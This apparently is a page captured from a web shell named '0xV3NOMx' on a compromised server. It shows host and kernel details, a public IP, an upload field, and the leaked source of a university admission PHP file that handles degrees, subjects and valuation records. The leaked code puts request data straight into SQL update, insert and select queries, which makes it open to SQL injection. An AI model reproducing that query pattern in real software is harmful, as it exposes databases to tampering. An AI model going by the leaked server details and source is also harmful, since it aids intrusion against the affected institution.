0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.135.206.19


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/tdvs_subject.php

<?php
    function tdvs_getDegree($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data['univcode'];

        $query = "select 'All' as value, 'All' as text
        union 
        select distinct fdegree as value, concat(fdescpn, ' ', '[',fdegree,']') as text 
        from degree  where ifnull(fdegree,'') <> '' order by text";
        $result = $aobj_context->pobj_db->GetAll($query);

        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); 
            return;	
        }else{
            $arr['msg'] = 'Something went wrong try again later';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;	
        }
    }

    function tdvs_getSubjectDet($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data['univcode'];
        $degree = $aobj_context->mobj_data['degree'];
        $sem = $aobj_context->mobj_data['sem'];

        if($sem === "All"){
            $semCond = " ";
        }else{
            $semCond = " and s.fexamno = '{$sem}'";
        }

        if($degree == 'All')
        {
            $degCond = " ";
        }else
        {
            $degCond = "and s.fdegree = '{$degree}'"; 
        }

        $query = "select s.fdegree, s.fexamno, m.fqpcode,ifnull(m.fsmaxmarks,'') as fsmaxmark ,
                  concat(s.fsubname, ' - ', s.fsubshort)as fsubname, m.fboard, m.fdeggrp, 
                  ifnull(m.fnoval, '')as fnoval, ifnull(m.fhours, '')as fhours from tdvs_masqp m inner join subject s on 
                  s.fqpcode = m.fqpcode where ifnull(s.fqpcode,'') <> '' 
                  {$degCond}
                  {$semCond}";
        $result = $aobj_context->pobj_db->GetAll($query);

        $board = "select ifnull(fboard, '')as value, concat(ifnull(fboardname, ''), ' - ', ifnull(fboard, ''))as text from tdvs_masboard";
        $resBoard = $aobj_context->pobj_db->GetAll($board);

        $deggrp = "select fdeggrp as value, concat(fdeggrp, ' - ', fdescpn)as text from tdvs_deggrp";
        $resDeggrp = $aobj_context->pobj_db->GetAll($deggrp);
        if($result){
            $arr['tableData'] = $result;
            $arr['board'] = $resBoard;
            $arr['deggrp'] = $resDeggrp;
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
            return;	
        }else{
            $arr['msg'] = 'Something went wrong try again later';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;	
        }
    }

    function tdvs_saveSubDet($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data['univcode'];
        $data = json_decode($aobj_context->mobj_data['data'], true);

        foreach($data as $val){
            if($val['fboard'] === "select"){
                $board = "";
            }else{
                $board = $val['fboard'];
            }

            if($val['fdeggrp'] === "select"){
                $deggrp = "";
            }else{
                $deggrp = $val['fdeggrp'];
            }

            
            $query = "update tdvs_masqp set fboard='{$board}', 
                      fdeggrp='{$deggrp}', fnoval='{$val['fnoval']}', fhours='{$val['fhours']}' where 
                      fqpcode = '{$val['fqpcode']}'";
            $result = $aobj_context->pobj_db->Execute($query);
            
            if($val['fnoval'] != '')
            {
                $z = 1;
                for($i=0;$i<$val['fnoval'];$i++)
                {
                    $query = "insert ignore into tdvs_tabsum(FQPCODE,FPACKET,FREGCODE,FYEAR,FEXAMTYPE,FVALNO,FUPDDATE)
                    select FQPCODE,'10001' as FPACKET,FREGCODE,fyear, fexamtype,'{$z}' as FVALNO,now()
                    From tdvs_tabhead
                    where fqpcode = '{$val['fqpcode']}'";
                    //var_dump($query);
                    $res = $aobj_context->pobj_db->Execute($query);
                    $z++;
                }
            }


        }

        if($result){
            $arr['msg'] = "Updated Successfully";
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
            return;
        }else{
            $arr['msg'] = 'Something went wrong try again later';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;	
        }

    }
?>